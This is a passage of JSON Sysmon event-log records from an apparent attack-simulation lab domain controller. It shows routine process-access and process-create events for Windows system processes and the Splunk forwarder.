C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:36.416","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4264-5F2D-0000-00106F260A00}","TargetProcessId":"2960","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":6560,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:36.557\r\nProcessGuid: {90617006-4264-5F2D-0000-0010F0290A00}\r\nProcessId: 4884\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nFileVersion: 10.0.10011.16384\r\nDescription: SplunkMonNoHandle Control Program\r\nProduct: Windows (R) Win 7 DDK driver\r\nCompany: Windows (R) Win 7 DDK provider\r\nOriginalFileName: SplunkMonNoHandle.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:00:36.557","ProcessGuid":"{90617006-4264-5F2D-0000-0010F0290A00}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","FileVersion":"10.0.10011.16384","Description":"SplunkMonNoHandle Control Program","Product":"Windows (R) Win 7 DDK driver","Company":"Windows (R) Win 7 DDK provider","OriginalFileName":"SplunkMonNoHandle.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6561,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:36.557\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4264-5F2D-0000-0010F0290A00}\r\nTargetProcessId: 4884\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:36.557","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4264-5F2D-0000-0010F0290A00}","TargetProcessId":"4884","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6562,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:36.557\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4264-5F2D-0000-0010F0290A00}\r\nTargetProcessId: 4884\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:36.557","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4264-5F2D-0000-0010F0290A00}","TargetProcessId":"4884","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6563,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:36.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:36.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6564,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:36.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:36.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6565,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:36.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:36.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6566,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:36.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:36.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6567,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:36.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 